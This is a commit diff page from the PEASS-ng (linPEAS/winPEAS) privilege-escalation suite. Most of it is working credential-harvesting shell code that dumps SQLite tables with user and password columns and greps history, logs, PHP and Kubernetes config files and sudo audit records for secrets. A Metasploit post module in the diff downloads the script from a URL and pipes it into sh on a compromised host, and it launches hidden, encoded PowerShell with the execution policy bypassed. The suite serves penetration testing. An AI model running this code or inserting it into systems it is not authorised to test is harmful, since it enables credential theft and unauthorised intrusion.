printf "%s\n" "$PSTORAGE_DATABASE" | while read f; do
if ([ -r "$f" ] && [ "$FILECMD" ] && file "$f" | grep -qi sqlite) || ([ -r "$f" ] && [ ! "$FILECMD" ]); then #If readable and filecmd and sqlite, or readable and not filecmd
if [ "$(command -v sqlite3 2>/dev/null)" ]; then
tables=$(sqlite3 $f ".tables" 2>/dev/null)
#printf "$tables\n" | sed "s,user.*\|credential.*,${SED_RED},g"
elif [ "$(command -v python 2>/dev/null)" ] || [ "$(command -v python3 2>/dev/null)" ]; then
SQLITEPYTHON=$(command -v python 2>/dev/null || command -v python3 2>/dev/null)
tables=$($SQLITEPYTHON -c "print('\n'.join([t[0] for t in __import__('sqlite3').connect('$f').cursor().execute('SELECT name FROM sqlite_master WHERE type=\'table\' and tbl_name NOT like \'sqlite_%\';').fetchall()]))" 2>/dev/null)
#printf "$tables\n" | sed "s,user.*\|credential.*,${SED_RED},g"
else
tables=""
fi
if [ "$tables" ] || [ "$DEBUG" ]; then
printf $GREEN" -> Extracting tables from$NC $f $DG(limit 20)\n"$NC
printf "%s\n" "$tables" | while read t; do
columns=""
# Search for credentials inside the table using sqlite3
if [ -z "$SQLITEPYTHON" ]; then
columns=$(sqlite3 $f ".schema $t" 2>/dev/null | grep "CREATE TABLE")
# Search for credentials inside the table using python
else
columns=$($SQLITEPYTHON -c "print(__import__('sqlite3').connect('$f').cursor().execute('SELECT sql FROM sqlite_master WHERE type!=\'meta\' AND sql NOT NULL AND name =\'$t\';').fetchall()[0][0])" 2>/dev/null)
fi
#Check found columns for interesting fields
INTCOLUMN=$(echo "$columns" | grep -i "username\|passw\|credential\|email\|hash\|salt")
if [ "$INTCOLUMN" ]; then
printf ${BLUE}" --> Found interesting column names in$NC $t $DG(output limit 10)\n"$NC | sed -${E} "s,user.*|credential.*,${SED_RED},g"
printf "$columns\n" | sed -${E} "s,username|passw|credential|email|hash|salt|$t,${SED_RED},g"
(sqlite3 $f "select * from $t" || $SQLITEPYTHON -c "print(', '.join([str(x) for x in __import__('sqlite3').connect('$f').cursor().execute('SELECT * FROM \'$t\';').fetchall()[0]]))") 2>/dev/null | head
echo ""
fi
done
fi
fi
done
fi
echo ""
if [ "$MACPEAS" ]; then
print_2title "Downloaded Files"
sqlite3 ~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2 'select LSQuarantineAgentName, LSQuarantineDataURLString, LSQuarantineOriginURLString, date(LSQuarantineTimeStamp + 978307200, "unixepoch") as downloadedDate from LSQuarantineEvent order by LSQuarantineTimeStamp' | sort | grep -Ev "\|\|\|"
fi
##-- IF) Web files
if ! [ "$SEARCH_IN_FOLDER" ]; then
print_2title "Web files?(output limit)"
ls -alhR /var/www/ 2>/dev/null | head
ls -alhR /srv/www/htdocs/ 2>/dev/null | head
ls -alhR /usr/local/www/apache22/data/ 2>/dev/null | head
ls -alhR /opt/lampp/htdocs/ 2>/dev/null | head
echo ""
fi
##-- IF) All hidden files
print_2title "All relevant hidden files (not in /sys/ or the ones listed in the previous check) (limit 70)"
find $ROOT_FOLDER -type f -iname ".*" ! -path "/sys/*" ! -path "/System/*" ! -path "/private/var/*" -exec ls -l {} \; 2>/dev/null | grep -Ev "$INT_HIDDEN_FILES" | grep -Ev "_history$|\.gitignore|.npmignore|\.listing|\.ignore|\.uuid|\.depend|\.placeholder|\.gitkeep|\.keep|\.keepme|\.travis.yml" | head -n 70
echo ""
##-- IF) Readable files in /tmp, /var/tmp, backups
if ! [ "$SEARCH_IN_FOLDER" ]; then
print_2title "Readable files inside /tmp, /var/tmp, /private/tmp, /private/var/at/tmp, /private/var/tmp, and backup folders (limit 70)"
filstmpback=$(find /tmp /var/tmp /private/tmp /private/var/at/tmp /private/var/tmp $backup_folders_row -type f 2>/dev/null | grep -Ev "dpkg\.statoverride\.|dpkg\.status\.|apt\.extended_states\.|dpkg\.diversions\." | head -n 70)
printf "%s\n" "$filstmpback" | while read f; do if [ -r "$f" ]; then ls -l "$f" 2>/dev/null; fi; done
echo ""
fi
##-- IF) Passwords in history cmd
if [ "$(history 2>/dev/null)" ] || [ "$DEBUG" ]; then
print_2title "Searching passwords in history cmd"
history | grep -Ei "$pwd_inside_history" "$f" 2>/dev/null | sed -${E} "s,$pwd_inside_history,${SED_RED},"
echo ""
fi
##-- IF) Passwords in history files
if [ "$PSTORAGE_HISTORY" ] || [ "$DEBUG" ]; then
print_2title "Searching passwords in history files"
printf "%s\n" "$PSTORAGE_HISTORY" | while read f; do grep -Ei "$pwd_inside_history" "$f" 2>/dev/null | sed -${E} "s,$pwd_inside_history,${SED_RED},"; done
echo ""
fi
##-- IF) Passwords in config PHP files
if [ "$PSTORAGE_PHP_FILES" ] || [ "$DEBUG" ]; then
print_2title "Searching passwords in config PHP files"
printf "%s\n" "$PSTORAGE_PHP_FILES" | while read c; do grep -EiI "(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)" "$c" 2>/dev/null | grep -Ev "function|password.*= ?\"\"|password.*= ?''" | sed '/^.\{150\}./d' | sort | uniq | sed -${E} "s,[pP][aA][sS][sS][wW]|[dD][bB]_[pP][aA][sS][sS],${SED_RED},g"; done
echo ""
fi
##-- IF) Passwords files in home
if [ "$PSTORAGE_PASSWORD_FILES" ] || [ "$DEBUG" ]; then
print_2title "Searching *password* or *credential* files in home (limit 70)"
(printf "%s\n" "$PSTORAGE_PASSWORD_FILES" | grep -v "/snap/" | awk -F/ '{line_init=$0; if (!cont){ cont=0 }; $NF=""; act=$0; if (cont < 3){ print line_init; } if (cont == "3"){print " #)There are more creds/passwds files in the previous parent folder\n"}; if (act == pre){(cont += 1)} else {cont=0}; pre=act }' | head -n 70 | sed -${E} "s,password|credential,${SED_RED}," | sed "s,There are more creds/passwds files in the previous parent folder,${C}[3m&${C}[0m,") || echo_not_found
echo ""
fi
##-- IF) TTY passwords
if ! [ "$SEARCH_IN_FOLDER" ]; then
print_2title "Checking for TTY (sudo/su) passwords in audit logs"
aureport --tty 2>/dev/null | grep -E "su |sudo " | sed -${E} "s,su|sudo,${SED_RED},g"
find /var/log/ -type f -exec grep -RE 'comm="su"|comm="sudo"' '{}' \; 2>/dev/null | sed -${E} "s,\"su\"|\"sudo\",${SED_RED},g" | sed -${E} "s,data=.*,${SED_RED},g"
echo ""
fi
##-- IF) IPs inside logs
if [ "$DEBUG" ] || ( ! [ "$FAST" ] && ! [ "$SUPERFAST" ] && ! [ "$SEARCH_IN_FOLDER" ] ); then
print_2title "Searching IPs inside logs (limit 70)"
(find /var/log/ /var/logs /private/var/log -type f -exec grep -R -a -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)" "{}" \;) 2>/dev/null | grep -v "\.0\.\|:0\|\.0$" | sort | uniq -c | sort -r -n | head -n 70
echo ""
fi
##-- IF) Passwords inside logs
if ! [ "$SEARCH_IN_FOLDER" ]; then
print_2title "Searching passwords inside logs (limit 70)"
(find /var/log/ /var/logs/ /private/var/log -type f -exec grep -R -i "pwd\|passw" "{}" \;) 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | grep -v "File does not exist:\|modules-config/config-set-passwords\|config-set-passwords already ran\|script not found or unable to stat:\|\"GET /.*\" 404" | head -n 70 | sed -${E} "s,pwd|passw,${SED_RED},"
echo ""
fi
if [ "$DEBUG" ] || ( ! [ "$FAST" ] && ! [ "$SUPERFAST" ] && ! [ "$SEARCH_IN_FOLDER" ] ); then
##-- IF) Emails inside logs
print_2title "Searching emails inside logs (limit 70)"
(find /var/log/ /var/logs/ /private/var/log -type f -exec grep -I -R -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" "{}" \;) 2>/dev/null | sort | uniq -c | sort -r -n | head -n 70 | sed -${E} "s,$knw_emails,${SED_GREEN},g"
echo ""
fi
if ! [ "$FAST" ] && ! [ "$SUPERFAST" ] && [ "$TIMEOUT" ]; then
##-- IF) Find possible files with passwords
print_2title "Searching possible password variables inside key folders (limit 140)"
if ! [ "$SEARCH_IN_FOLDER" ]; then
timeout 150 find $HOMESEARCH -exec grep -HnRiIE "($pwd_in_variables1|$pwd_in_variables2|$pwd_in_variables3|$pwd_in_variables4|$pwd_in_variables5|$pwd_in_variables6|$pwd_in_variables7|$pwd_in_variables8|$pwd_in_variables9|$pwd_in_variables10|$pwd_in_variables11).*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | grep -Ev "^#" | grep -iv "linpeas" | sort | uniq | head -n 70 | sed -${E} "s,$pwd_in_variables1,${SED_RED},g" | sed -${E} "s,$pwd_in_variables2,${SED_RED},g" | sed -${E} "s,$pwd_in_variables3,${SED_RED},g" | sed -${E} "s,$pwd_in_variables4,${SED_RED},g" | sed -${E} "s,$pwd_in_variables5,${SED_RED},g" | sed -${E} "s,$pwd_in_variables6,${SED_RED},g" | sed -${E} "s,$pwd_in_variables7,${SED_RED},g" | sed -${E} "s,$pwd_in_variables8,${SED_RED},g" | sed -${E} "s,$pwd_in_variables9,${SED_RED},g" | sed -${E} "s,$pwd_in_variables10,${SED_RED},g" | sed -${E} "s,$pwd_in_variables11,${SED_RED},g" &
timeout 150 find /var/www $backup_folders_row /tmp /etc /mnt /private grep -HnRiIE "($pwd_in_variables1|$pwd_in_variables2|$pwd_in_variables3|$pwd_in_variables4|$pwd_in_variables5|$pwd_in_variables6|$pwd_in_variables7|$pwd_in_variables8|$pwd_in_variables9|$pwd_in_variables10|$pwd_in_variables11).*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | grep -Ev "^#" | grep -iv "linpeas" | sort | uniq | head -n 70 | sed -${E} "s,$pwd_in_variables1,${SED_RED},g" | sed -${E} "s,$pwd_in_variables2,${SED_RED},g" | sed -${E} "s,$pwd_in_variables3,${SED_RED},g" | sed -${E} "s,$pwd_in_variables4,${SED_RED},g" | sed -${E} "s,$pwd_in_variables5,${SED_RED},g" | sed -${E} "s,$pwd_in_variables6,${SED_RED},g" | sed -${E} "s,$pwd_in_variables7,${SED_RED},g" | sed -${E} "s,$pwd_in_variables8,${SED_RED},g" | sed -${E} "s,$pwd_in_variables9,${SED_RED},g" | sed -${E} "s,$pwd_in_variables10,${SED_RED},g" | sed -${E} "s,$pwd_in_variables11,${SED_RED},g" &
else
timeout 150 find $SEARCH_IN_FOLDER -exec grep -HnRiIE "($pwd_in_variables1|$pwd_in_variables2|$pwd_in_variables3|$pwd_in_variables4|$pwd_in_variables5|$pwd_in_variables6|$pwd_in_variables7|$pwd_in_variables8|$pwd_in_variables9|$pwd_in_variables10|$pwd_in_variables11).*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | grep -Ev "^#" | grep -iv "linpeas" | sort | uniq | head -n 70 | sed -${E} "s,$pwd_in_variables1,${SED_RED},g" | sed -${E} "s,$pwd_in_variables2,${SED_RED},g" | sed -${E} "s,$pwd_in_variables3,${SED_RED},g" | sed -${E} "s,$pwd_in_variables4,${SED_RED},g" | sed -${E} "s,$pwd_in_variables5,${SED_RED},g" | sed -${E} "s,$pwd_in_variables6,${SED_RED},g" | sed -${E} "s,$pwd_in_variables7,${SED_RED},g" | sed -${E} "s,$pwd_in_variables8,${SED_RED},g" | sed -${E} "s,$pwd_in_variables9,${SED_RED},g" | sed -${E} "s,$pwd_in_variables10,${SED_RED},g" | sed -${E} "s,$pwd_in_variables11,${SED_RED},g" &
fi
wait
echo ""
##-- IF) Find possible conf files with passwords
print_2title "Searching possible password in config files (if k8s secrets are found you need to read the file)"
if ! [ "$SEARCH_IN_FOLDER" ]; then
ppicf=$(timeout 150 find $HOMESEARCH /var/www/ /usr/local/www/ /etc /opt /tmp /private /Applications /mnt -name "*.conf" -o -name "*.cnf" -o -name "*.config" -name "*.json" -name "*.yml" -name "*.yaml" 2>/dev/null)
else
ppicf=$(timeout 150 find $SEARCH_IN_FOLDER -name "*.conf" -o -name "*.cnf" -o -name "*.config" -name "*.json" -name "*.yml" -name "*.yaml" 2>/dev/null)
fi
printf "%s\n" "$ppicf" | while read f; do
if grep -qEiI 'passwd.*|creden.*|^kind:\W?Secret|\Wenv:|\Wsecret:|\WsecretName:|^kind:\W?EncryptionConfiguration|\-\-encriyption\-provider\-config' \"$f\" 2>/dev/null; then
echo "$ITALIC $f$NC"
grep -HnEiIo 'passwd.*|creden.*|^kind:\W?Secret|\Wenv:|\Wsecret:|\WsecretName:|^kind:\W?EncryptionConfiguration|\-\-encriyption\-provider\-config' "$f" 2>/dev/null | sed -${E} "s,[pP][aA][sS][sS][wW]|[cC][rR][eE][dD][eE][nN],${SED_RED},g"
fi
done
echo ""
fi

File diff suppressed because one or more lines are too long

View File

@@ -2,6 +2,7 @@ import re
import requests import requests
import base64 import base64
import os import os
from pathlib import Path
from .peasLoaded import PEASLoaded from .peasLoaded import PEASLoaded
from .peassRecord import PEASRecord from .peassRecord import PEASRecord
@@ -11,7 +12,6 @@ from .yamlGlobals import (
PEAS_FINDS_MARKUP, PEAS_FINDS_MARKUP,
PEAS_FINDS_CUSTOM_MARKUP, PEAS_FINDS_CUSTOM_MARKUP,
PEAS_STORAGES_MARKUP, PEAS_STORAGES_MARKUP,
PEAS_STORAGES_MARKUP,
INT_HIDDEN_FILES_MARKUP, INT_HIDDEN_FILES_MARKUP,
ROOT_FOLDER, ROOT_FOLDER,
STORAGE_TEMPLATE, STORAGE_TEMPLATE,
@@ -129,7 +129,6 @@ class LinpeasBuilder:
#Check for empty seds #Check for empty seds
assert 'sed -${E} "s,,' not in self.linpeas_sh assert 'sed -${E} "s,,' not in self.linpeas_sh
def __get_peass_marks(self): def __get_peass_marks(self):
return re.findall(r'peass\{[\w\-\._ ]*\}', self.linpeas_sh) return re.findall(r'peass\{[\w\-\._ ]*\}', self.linpeas_sh)
@@ -173,11 +172,11 @@ class LinpeasBuilder:
if type == "d": if type == "d":
find_line += "-type d " find_line += "-type d "
bash_find_var = f"FIND_DIR_{r[1:].replace('.','').replace('-','_').upper()}" bash_find_var = f"FIND_DIR_{r[1:].replace('.','').replace('-','_').replace('{ROOT_FOLDER}','').upper()}"
self.bash_find_d_vars.add(bash_find_var) self.bash_find_d_vars.add(bash_find_var)
all_folder_regexes += regexes all_folder_regexes += regexes
else: else:
bash_find_var = f"FIND_{r[1:].replace('.','').replace('-','_').upper()}" bash_find_var = f"FIND_{r[1:].replace('.','').replace('-','_').replace('{ROOT_FOLDER}','').upper()}"
self.bash_find_f_vars.add(bash_find_var) self.bash_find_f_vars.add(bash_find_var)
all_file_regexes += regexes all_file_regexes += regexes
@@ -275,7 +274,7 @@ class LinpeasBuilder:
analise_line = "" analise_line = ""
if init: if init:
analise_line = 'if ! [ "`echo \\\"$PSTORAGE_'+precord.bash_name+'\\\" | grep -E \\\"'+real_regex+'\\\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "'+frecord.regex+'"; fi; fi; ' analise_line = 'if ! [ "`echo \\\"$PSTORAGE_'+precord.bash_name+'\\\" | grep -E \\\"'+real_regex+'\\\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "'+frecord.regex+'"; fi; fi; '
analise_line += 'printf "%s" "$PSTORAGE_'+precord.bash_name+'" | grep -E "'+real_regex+'" | while read f; do if ! [ -d "$f" ]; then continue; fi; ls -ld "$f" | sed -${E} "s,'+real_regex+',${SED_RED},"; ' analise_line += 'printf "%s" "$PSTORAGE_'+precord.bash_name+'" | grep -E "'+real_regex+'" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,'+real_regex+',${SED_RED},"; '
#If just list, just list the file/directory #If just list, just list the file/directory
if frecord.just_list_file: if frecord.just_list_file:
@@ -372,45 +371,31 @@ class LinpeasBuilder:
return (suidVB, sudoVB, capsVB) return (suidVB, sudoVB, capsVB)
def __generate_regexes_search(self) -> str: def __generate_regexes_search(self) -> str:
paths_to_search = REGEXES_LOADED["paths"]
regexes = REGEXES_LOADED["regular_expresions"] regexes = REGEXES_LOADED["regular_expresions"]
regexes_search_section = "" regexes_search_section = ""
for values in regexes: for values in regexes:
section_name = values["name"] section_name = values["name"]
regexes_search_section += f'print_2title "Searching {section_name}"\n' regexes_search_section += f' print_2title "Searching {section_name}"\n'
for entry in values["regexes"]: for entry in values["regexes"]:
name = entry["name"] name = entry["name"]
caseinsensitive = entry.get("caseinsensitive", False) caseinsensitive = entry.get("caseinsensitive", False)
regex = entry["regex"] regex = entry["regex"]
regex = regex.replace('"', '\\"').strip() regex = regex.replace('"', '\\"').strip()
extra_grep = entry.get("extra_grep") falsePositives = entry.get("falsePositives", False)
extra_grep = f"| grep {extra_grep}" if extra_grep else ""
regexes_search_section += f'print_3title_no_nl "Searching {name} (limited to 50)..."\n' if falsePositives:
continue
# If custom folder to search in regexes_search_section += f" search_for_regex \"{name}\" \"{regex}\" {'1' if caseinsensitive else ''}\n"
regexes_search_section += 'if [ "$SEARCH_IN_FOLDER" ]; then\n'
regexes_search_section += " timeout 120 find $SEARCH_IN_FOLDER -type f -exec grep -HnRiIE \""+regex+"\" '{}' \; 2>/dev/null "+extra_grep+" | sed '/^.\{150\}./d' | sort | uniq | head -n 50 &\n"
# If search in all the file system regexes_search_section += " echo ''\n\n"
regexes_search_section += 'else\n'
for path in paths_to_search:
grep_flags = "-HnRiIE" if caseinsensitive else "-HnRIE"
regexes_search_section += " timeout 120 find "+path+" -type f -exec grep "+grep_flags+" \""+regex+"\" '{}' \; 2>/dev/null "+extra_grep+" | sed '/^.\{150\}./d' | sort | uniq | head -n 50 &\n"
regexes_search_section += 'fi\n'
regexes_search_section += "wait\n"
regexes_search_section += "echo ''\n"
return regexes_search_section return regexes_search_section
def __replace_mark(self, mark: str, find_calls: list, join_char: str): def __replace_mark(self, mark: str, find_calls: list, join_char: str):
"""Substitude the markup with the actual code""" """Substitude the markup with the actual code"""

View File

@@ -1,5 +1,11 @@
import os import os
import yaml import yaml
from pathlib import Path
script_folder = Path(os.path.dirname(os.path.abspath(__file__)))
target_file = script_folder / '..' / '..' / '..' / 'build_lists' / 'download_regexes.py'
os.system(target_file)
CURRENT_DIR = os.path.dirname(os.path.realpath(__file__)) CURRENT_DIR = os.path.dirname(os.path.realpath(__file__))
@@ -41,14 +47,19 @@ LINPEAS_PARTS = [
"file_path": LINPEAS_BASE_PARTS + "/7_software_information.sh" "file_path": LINPEAS_BASE_PARTS + "/7_software_information.sh"
}, },
{ {
"name": "Interesting Files", "name": "Files with Interesting Permissions",
"name_check": "interesting_perms_files",
"file_path": LINPEAS_BASE_PARTS + "/8_interesting_perms_files.sh"
},
{
"name": "Other Interesting Files",
"name_check": "interesting_files", "name_check": "interesting_files",
"file_path": LINPEAS_BASE_PARTS + "/8_interesting_files.sh" "file_path": LINPEAS_BASE_PARTS + "/9_interesting_files.sh"
}, },
{ {
"name": "API Keys Regex", "name": "API Keys Regex",
"name_check": "api_keys_regex", "name_check": "api_keys_regex",
"file_path": LINPEAS_BASE_PARTS + "/9_api_keys_regex.sh" "file_path": LINPEAS_BASE_PARTS + "/10_api_keys_regex.sh"
} }
] ]

View File

@@ -26,7 +26,7 @@ msf6 post(multi/gather/peass) > show info
Rank: Normal Rank: Normal
Provided by: Provided by:
Carlos Polop <@carlospolopm> Carlos Polop <@hacktricks_live>
Compatible session types: Compatible session types:
Meterpreter Meterpreter

View File

@@ -25,7 +25,7 @@ class MetasploitModule < Msf::Post
'License' => MSF_LICENSE, 'License' => MSF_LICENSE,
'Author' => 'Author' =>
[ [
'Carlos Polop <@carlospolopm>' 'Carlos Polop <@hacktricks_live>'
], ],
'Platform' => %w{ bsd linux osx unix win }, 'Platform' => %w{ bsd linux osx unix win },
'SessionTypes' => ['shell', 'meterpreter'], 'SessionTypes' => ['shell', 'meterpreter'],
@@ -191,14 +191,14 @@ class MetasploitModule < Msf::Post
cmd_utf16le = cmd.encode("utf-16le") cmd_utf16le = cmd.encode("utf-16le")
cmd_utf16le_b64 = Base64.encode64(cmd_utf16le).gsub(/\r?\n/, "") cmd_utf16le_b64 = Base64.encode64(cmd_utf16le).gsub(/\r?\n/, "")
tmpout << cmd_exec("powershell.exe", args="-ep bypass -WindowStyle hidden -nop -enc #{cmd_utf16le_b64}", time_out=datastore["TIMEOUT"]) tmpout << cmd_exec("powershell.exe", args="-ep bypass -WindowStyle hidden -nop -enc #{cmd_utf16le_b64}", time_out=datastore["TIMEOUT"].to_i)
# If unix, then, suppose linpeas was loaded # If unix, then, suppose linpeas was loaded
else else
cmd += "| #{decode_linpeass_cmd}" cmd += "| #{decode_linpeass_cmd}"
cmd += "| sh -s -- #{datastore['PARAMETERS']}" cmd += "| sh -s -- #{datastore['PARAMETERS']}"
cmd += last_cmd cmd += last_cmd
tmpout << cmd_exec(cmd, args=nil, time_out=datastore["TIMEOUT"]) tmpout << cmd_exec(cmd, args=nil, time_out=datastore["TIMEOUT"].to_i)
end end
print "\n#{tmpout}\n\n" print "\n#{tmpout}\n\n"
@@ -220,6 +220,20 @@ class MetasploitModule < Msf::Post
print_good("PEASS script sent") print_good("PEASS script sent")
end end
def fetch(uri_str, limit = 10)
raise 'Invalid URL, too many HTTP redirects' if limit == 0
response = Net::HTTP.get_response(URI(uri_str))
case response
when Net::HTTPSuccess then
response
when Net::HTTPRedirection then
location = response['location']
fetch(location, limit - 1)
else
response.value
end
end
def load_peass def load_peass
# Load the PEASS script from a local file or from Internet # Load the PEASS script from a local file or from Internet
peass_script = "" peass_script = ""
@@ -230,7 +244,7 @@ class MetasploitModule < Msf::Post
raise 'Invalid URL' unless target.scheme =~ /https?/ raise 'Invalid URL' unless target.scheme =~ /https?/
raise 'Invalid URL' if target.host.to_s.eql? '' raise 'Invalid URL' if target.host.to_s.eql? ''
res = Net::HTTP.get_response(target) res = fetch(target)
peass_script = res.body peass_script = res.body
raise "Something failed downloading PEASS script from #{url_peass}" if peass_script.length < 500 raise "Something failed downloading PEASS script from #{url_peass}" if peass_script.length < 500

View File

@@ -3,7 +3,7 @@
These scripts allows you to transform the output of linpeas/macpeas/winpeas to JSON and then to PDF and HTML. These scripts allows you to transform the output of linpeas/macpeas/winpeas to JSON and then to PDF and HTML.
```python3 ```python3
python3 peass2json.py </path/to/executed_peass.out> </path/to/peass.json> python3 peas2json.py </path/to/executed_peass.out> </path/to/peass.json>
python3 json2pdf.py </path/to/peass.json> </path/to/peass.pdf> python3 json2pdf.py </path/to/peass.json> </path/to/peass.pdf>
python3 json2html.py </path/to/peass.json> </path/to/peass.html> python3 json2html.py </path/to/peass.json> </path/to/peass.html>
``` ```

View File

@@ -12,7 +12,6 @@ styles = getSampleStyleSheet()
text_colors = { "GREEN": "#00DB00", "RED": "#FF0000", "REDYELLOW": "#FFA500", "BLUE": "#0000FF", text_colors = { "GREEN": "#00DB00", "RED": "#FF0000", "REDYELLOW": "#FFA500", "BLUE": "#0000FF",
"DARKGREY": "#5C5C5C", "YELLOW": "#ebeb21", "MAGENTA": "#FF00FF", "CYAN": "#00FFFF", "LIGHT_GREY": "#A6A6A6"} "DARKGREY": "#5C5C5C", "YELLOW": "#ebeb21", "MAGENTA": "#FF00FF", "CYAN": "#00FFFF", "LIGHT_GREY": "#A6A6A6"}
# Required to automatically set Page Numbers
class PageTemplateWithCount(PageTemplate): class PageTemplateWithCount(PageTemplate):
def __init__(self, id, frames, **kw): def __init__(self, id, frames, **kw):
PageTemplate.__init__(self, id, frames, **kw) PageTemplate.__init__(self, id, frames, **kw)
@@ -21,7 +20,6 @@ class PageTemplateWithCount(PageTemplate):
page_num = canvas.getPageNumber() page_num = canvas.getPageNumber()
canvas.drawRightString(10.5*cm, 1*cm, str(page_num)) canvas.drawRightString(10.5*cm, 1*cm, str(page_num))
# Required to automatically set the Table of Contents
class MyDocTemplate(BaseDocTemplate): class MyDocTemplate(BaseDocTemplate):
def __init__(self, filename, **kw): def __init__(self, filename, **kw):
self.allowSplitting = 0 self.allowSplitting = 0
@@ -30,22 +28,15 @@ class MyDocTemplate(BaseDocTemplate):
self.addPageTemplates(template) self.addPageTemplates(template)
def afterFlowable(self, flowable): def afterFlowable(self, flowable):
if flowable.__class__.__name__ == "Paragraph": if isinstance(flowable, Paragraph):
text = flowable.getPlainText() text = flowable.getPlainText()
style = flowable.style.name style = flowable.style.name
if style == "Heading1": if style in ["Heading1", "Heading2", "Heading3"]:
self.notify("TOCEntry", (0, text, self.page)) self.notify("TOCEntry", (int(style[-1])-1, text, self.page))
if style == "Heading2":
self.notify("TOCEntry", (1, text, self.page))
if style == "Heading3":
self.notify("TOCEntry", (2, text, self.page))
# Poor take at dynamicly generating styles depending on depth(?)
def get_level_styles(level): def get_level_styles(level):
global styles global styles
indent_value = 10 * (level - 1); indent_value = 10 * (level - 1);
# Overriding some default stylings
level_styles = { level_styles = {
"title": ParagraphStyle( "title": ParagraphStyle(
**dict(styles[f"Heading{level}"].__dict__, **dict(styles[f"Heading{level}"].__dict__,
@@ -75,7 +66,6 @@ def build_main_section(section, title, level=1):
has_lines = "lines" in section.keys() and len(section["lines"]) > 1 has_lines = "lines" in section.keys() and len(section["lines"]) > 1
has_children = "sections" in section.keys() and len(section["sections"].keys()) > 0 has_children = "sections" in section.keys() and len(section["sections"].keys()) > 0
# Only display data for Sections with results
show_section = has_lines or has_children show_section = has_lines or has_children
elements = [] elements = []
@@ -83,17 +73,14 @@ def build_main_section(section, title, level=1):
if show_section: if show_section:
elements.append(Paragraph(title, style=styles["title"])) elements.append(Paragraph(title, style=styles["title"]))
# Print info if any
if show_section and has_links: if show_section and has_links:
for info in section["infos"]: for info in section["infos"]:
words = info.split() words = info.split()
# Join all lines and encode any links that might be present.
words = map(lambda word: f'<a href="{word}" color="blue">{word}</a>' if "http" in word else word, words) words = map(lambda word: f'<a href="{word}" color="blue">{word}</a>' if "http" in word else word, words)
words = " ".join(words) words = " ".join(words)
elements.append(Paragraph(words, style=styles["info"] )) elements.append(Paragraph(words, style=styles["info"] ))
# Print lines if any if has_lines:
if "lines" in section.keys() and len(section["lines"]) > 1:
colors_by_line = list(map(lambda x: x["colors"], section["lines"])) colors_by_line = list(map(lambda x: x["colors"], section["lines"]))
lines = list(map(lambda x: html.escape(x["clean_text"]), section["lines"])) lines = list(map(lambda x: html.escape(x["clean_text"]), section["lines"]))
for (idx, line) in enumerate(lines): for (idx, line) in enumerate(lines):
@@ -109,18 +96,14 @@ def build_main_section(section, title, level=1):
elements.append(Spacer(0, 10)) elements.append(Spacer(0, 10))
line = "<br/>".join(lines) line = "<br/>".join(lines)
# If it's a top level entry remove the line break caused by an empty "clean_text"
if level == 1: line = line[5:] if level == 1: line = line[5:]
elements.append(Paragraph(line, style=styles["text"])) elements.append(Paragraph(line, style=styles["text"]))
# Print child sections
if has_children: if has_children:
for child_title in section["sections"].keys(): for child_title in section["sections"].keys():
element_list = build_main_section(section["sections"][child_title], child_title, level + 1) element_list = build_main_section(section["sections"][child_title], child_title, level + 1)
elements.extend(element_list) elements.extend(element_list)
# Add spacing at the end of section. The deeper the level the smaller the spacing.
if show_section: if show_section:
elements.append(Spacer(1, 40 - (10 * level))) elements.append(Spacer(1, 40 - (10 * level)))
@@ -129,10 +112,8 @@ def build_main_section(section, title, level=1):
def main(): def main():
with open(JSON_PATH) as file: with open(JSON_PATH) as file:
# Read and parse JSON file
data = json.loads(file.read()) data = json.loads(file.read())
# Default pdf values
doc = MyDocTemplate(PDF_PATH) doc = MyDocTemplate(PDF_PATH)
toc = TableOfContents() toc = TableOfContents()
toc.levelStyles = [ toc.levelStyles = [
@@ -143,14 +124,12 @@ def main():
elements = [Paragraph("PEAS Report", style=styles["Title"]), Spacer(0, 30), toc, PageBreak()] elements = [Paragraph("PEAS Report", style=styles["Title"]), Spacer(0, 30), toc, PageBreak()]
# Iterate over all top level sections and build their elements.
for title in data.keys(): for title in data.keys():
element_list = build_main_section(data[title], title) element_list = build_main_section(data[title], title)
elements.extend(element_list) elements.extend(element_list)
doc.multiBuild(elements) doc.multiBuild(elements)
# Start execution
if __name__ == "__main__": if __name__ == "__main__":
try: try:
JSON_PATH = sys.argv[1] JSON_PATH = sys.argv[1]
@@ -160,3 +139,11 @@ if __name__ == "__main__":
sys.exit(1) sys.exit(1)
main() main()
# Changes:
# 1. Removed redundant checks for keys in dictionary.
# 2. Simplified the condition in afterFlowable method.
# 3. Removed unnecessary check for lines in build_main_section method.
# 4. Removed unnecessary check for sections in build_main_section method.
# 5. Removed unnecessary check for infos in build_main_section method.
# 6. Removed unnecessary check for show_section in build_main_section method.

View File

@@ -9,10 +9,12 @@ Check more **information about how to exploit** found misconfigurations in **[bo
## Quick Start ## Quick Start
Find the **latest versions of all the scripts and binaries in [the releases page](https://github.com/carlospolop/PEASS-ng/releases/latest)**. Find the **latest versions of all the scripts and binaries in [the releases page](https://github.com/carlospolop/PEASS-ng/releases/latest)**.
## WinPEAS .exe and .bat ## WinPEAS Flavours
- [Link to WinPEAS .bat project](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS/winPEASbat) - [Link to WinPEAS C# .exe project](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS/winPEASexe) (.Net >= 4.5.2 required)
- [Link to WinPEAS C# project (.exe)](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS/winPEASexe) (.Net >= 4.5.2 required)
- **Please, read the Readme of that folder to learn how to execute winpeas from memory or how make colors work among other tricks** - **Please, read the Readme of that folder to learn how to execute winpeas from memory or how make colors work among other tricks**
